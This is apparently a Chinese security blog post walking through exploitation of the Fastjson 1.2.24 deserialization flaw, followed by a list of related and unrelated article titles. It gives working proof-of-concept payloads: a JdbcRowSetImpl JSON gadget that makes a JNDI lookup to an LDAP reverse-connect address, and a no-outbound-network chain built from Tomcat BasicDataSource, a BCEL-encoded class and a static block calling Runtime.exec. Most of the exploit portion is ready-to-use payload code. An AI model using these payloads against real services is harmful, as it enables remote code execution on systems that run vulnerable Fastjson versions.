FastJson反序列化2-1.2.24漏洞利用
1、1.2.24漏洞利用-JNDI
漏洞利用思路,如果某个类的set()方法中使用了JNDI,那么则可以使用JDNI注入执行任意命令。事实上在JDK8中就存在这样的类:JDBCRowSetImpl;
该类实现了JdbcRowSwt接口,继承自BaseRowSet; package com.sun.rowset;


其中setAutoCommit方法中的else分支调用了connect方法

这个方法用于获取数据库连接。它首先检查是否已经存在连接(this.conn),如果存在则直接返回;如果没有,则根据配置获取数据库连接。
而获取连接的方式是如果配置了数据源名称 (this.getDataSourceName() != null),则尝试通过 JNDI 查找数据源,然后获取连接。如果配置了用户名和密码,则使用提供的用户名和密码来获取连接。

DataSourceName有对应的Set方法;

为空的情况下会调用父类的setDataSourceName方法,父类仅仅做了是否为空的判断,然后就是简单的赋值。

所以我们可以反序列化这个类,然后设置属性autocommit,让其调用connect方法,通过 JNDI 查找数据源,而数据源的地址设置为恶意地址,使其执行恶意命令。
使用Yakit生成LDAP反连地址,构造恶意类,执行clac命令。

完整POC如下:
public class Main {
public static void main(String[] args) {
String str1="{\"@type\":\"org.example.bean.FastJsonJdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:5555/qjMfJBxp\",\"autoCommit\":0}";
//FastJsonJdbcRowSetImpl是我自己创建的一个类 实际上可以直接用JdbcRowSetImpl
JSONObject jsonObject = JSON.parseObject(str1);
}
}

2、1.2.24 不出网利用
这里只给出了paseObject方法的利用链,paseObject方法会调用所有get方法,后续有时间再补充pase方法利用链,或者可以参考文章:
https://forum.butian.net/share/2040

String s1="{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",
\"DriverClassName\":\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMO$db$40$Q$7d$93$84$d81N$n$81$EJi$v$l$85$84C$7d$e9$z$88KE$a5$aanA$N$K$e2$b8$d9$$aS$c7$8e$i$H$f2$8fz$e6$C$VHp$ef$8f$aa$98u$a34$SX$f2$cc$ce$7b3o$9e$d7$7f$fe$de$de$D$f8$80$9a$83$C$96$j$bc$c4$8a$8dW$s$afZxm$e1$8d$83$3c$d6$y$bc$b5$b0N$c8$ef$e9P$t$fb$84l$ad$de$o$e4$3eF$3f$Ua$ce$d7$a1$fa6$ec$b5U$7c$y$da$B$pe$3f$92$oh$89X$9bz$M$e6$92s$3d$mT$fd$u$eexj$qz$fd$40ym$rB$ef$60$d4o$Q$ec$3d$Z$8c$e5$89$db$x$7eW$5c$IOG$de$e7$c3$83$91T$fdDG$n$b7$V$9b$89$90$3f$bf$8a$7e$w$cb$s$JN3$g$c6R$7d$d2f$8d$cdj$ef$cd$a8$L$H$b3$W6$5clb$8b$d7$b3$p$e9$e2$j$b6$J$L$cfH$TVR4$Qa$c7$fb$3e$M$T$ddS$T$d2h$ed$Q$W$9f$b3N$98$ff$3fx$d8$ee$w$99$QJO$b4$d8fG$r$93$a2R$ab$fbOz$f8$f3rj$a4$qa$a76$c56$93X$87$9d$c6$f4$c0Q$iI5$Y$f0$c0$f2t$e7$f1y$i$5d$9a$7bi$d4$5bX$87$cd$3f$d5$3c$Z$90$b9$M$8e$$W$kg$e2$3c$b3$7b$D$baJ$e9$o$c7$fc$3f$Q$_8$ba$e3$f3$i$e69$db$uM$86$cf$90M$b9$a5$df$c8$94$b3$d7$c8$9d$fcB$f1$cb$j$f2$a7$acf$3d$5c$a5d$81$5bg$b8$d1$c8V$f9$84$d4$c9$y$a3$F$c6$i$c6$dc$c9$9a$oce$yp$b5$c8$af$85$8co$a1R$60$a2$9a$3a$5bz$E3$a2$e2$80$a3$C$A$A\",
\"DriverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}
}";
public class Exp {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
//可以使用javac 编译,或使用Repository 且编译后需要encode
}
FastJson反序列化2-1.2.24漏洞利用的更多相关文章
- fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录
环境搭建: 漏洞影响版本: fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞 环境地址: https://github.com/vulhub/vulhub/tree/master ...
- fastjson反序列化漏洞原理及利用
重要漏洞利用poc及版本 我是从github上的参考中直接copy的exp,这个类就是要注入的类 import java.lang.Runtime; import java.lang.Process; ...
- Fastjson反序列化漏洞分析 1.2.22-1.2.24
Fastjson反序列化漏洞分析 1.2.22-1.2.24 Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两 ...
- FastJson反序列化漏洞利用的三个细节 - TemplatesImpl的利用链
0. 前言 记录在FastJson反序列化RCE漏洞分析和利用时的一些细节问题. 1. TemplatesImpl的利用链 关于 parse 和 parseObject FastJson中的 pars ...
- fastjson反序列化漏洞实际案例利用
fastjson反序列化rce实际案例利用全过程: 存在问题网站:http://***.com/ 在网站上寻找一些安全漏洞的时候,发现一条json数据包 数据包如下: POST /*** HTTP/1 ...
- fastjson 反序列化漏洞利用总结
比赛遇到了,一直没利用成功,这里做个记录. 环境搭建 首先用 vulhub 搭建 fastjson 的漏洞环境. 漏洞环境程序的逻辑为接收 body 的数据然后用 fastjson 解析. 漏洞利用 ...
- Fastjson反序列化漏洞复现
Fastjson反序列化漏洞复现 0x00 前言 对Fastjson反序列化漏洞进行复现. 0x01 漏洞环境 靶机环境:vulhub-fastjson-1.2.24 ip:172.16.10.18 ...
- Java安全之Fastjson反序列化漏洞分析
Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...
- fastjson反序列化漏洞历史CVE学习整理
fastjson 1.2.24反序列化漏洞复现 先写一个正常的使用 fastjson的web服务 我们使用 springboot创建 主要是pom.xml 里面要添加fastjson fastjson ...
- FastJson 反序列化漏洞原理分析
Fastjson 简介 fastjson框架:https://github.com/alibaba/fastjson fastjson-jndi:https://github.com/earayu/f ...
随机推荐
- MySQL基础之DCL语句
DCL(Data Control Language)语句:数据控制语句. 用途:控制数据库.表.字段.用户的访问权限和安全级别. 常用关键字:grant.revoke等 一般用于管理数据库和用户的权限 ...
- seq2seq模型案例分析
1 seq2seq模型简介 seq2seq 模型是一种基于[ Encoder-Decoder](编码器-解码器)框架的神经网络模型,广泛应用于自然语言翻译.人机对话等领域.目前,[seq2seq+at ...
- OCP试题解析之053-16 MEMORY_TARGET
16.Setting which of the following initialization parameters enables Automatic Memory Management? A. ...
- Mqtt开发笔记:Mqtt服务器搭建
若该文为原创文章,未经允许不得转载原博主博客地址:https://blog.csdn.net/qq21497936原博主博客导航:https://blog.csdn.net/qq21497936/ar ...
- vue 项目npm run dev(启动)时报错The service was stopped
vue项目yarn upgrade后vite build报错,如何项目也运行不起来了. 报错截图: 解决办法: 删除node_modules文件夹,然后执行yarn install重新生成心的node ...
- 【LeetCode哈希表#4】梦开始的地方:两数之和(map),以及关于容器map的一些代码技巧
两数之和 力扣题目链接(opens new window) 给定一个整数数组 nums 和一个目标值 target,请你在该数组中找出和为目标值的那 两个 整数,并返回他们的数组下标. 你可以假设每种 ...
- Nebula Graph 特性讲解——RocksDB 统计信息的收集和展示
由于 Nebula Graph 的底层存储使用了 RocksDB,出于运维管理需要,我们的社区用户 @chenxu14 在 pr#2243 为 Nebula Graph 贡献了 RocksDB 统计信 ...
- Jmeter 之正则表达式的使用
1 背景及用途: html.json数据都可以转化为文本,提供给正则去提取,使用正则可以提取全部数据,这就是正则表达式非常强大的一点. html格式响应更适合用xpath提取,性能比正则好一点 jso ...
- Java 常用类 String的常用方法(1)
1 package com.bytezero.stringclass; 2 3 import org.junit.Test; 4 5 import java.sql.SQLOutput; 6 impo ...
- Java 异常处理(2) : 方法重写的规则之一:
1 package com.bytezero.throwable; 2 3 import java.io.FileNotFoundException; 4 import java.io.IOExcep ...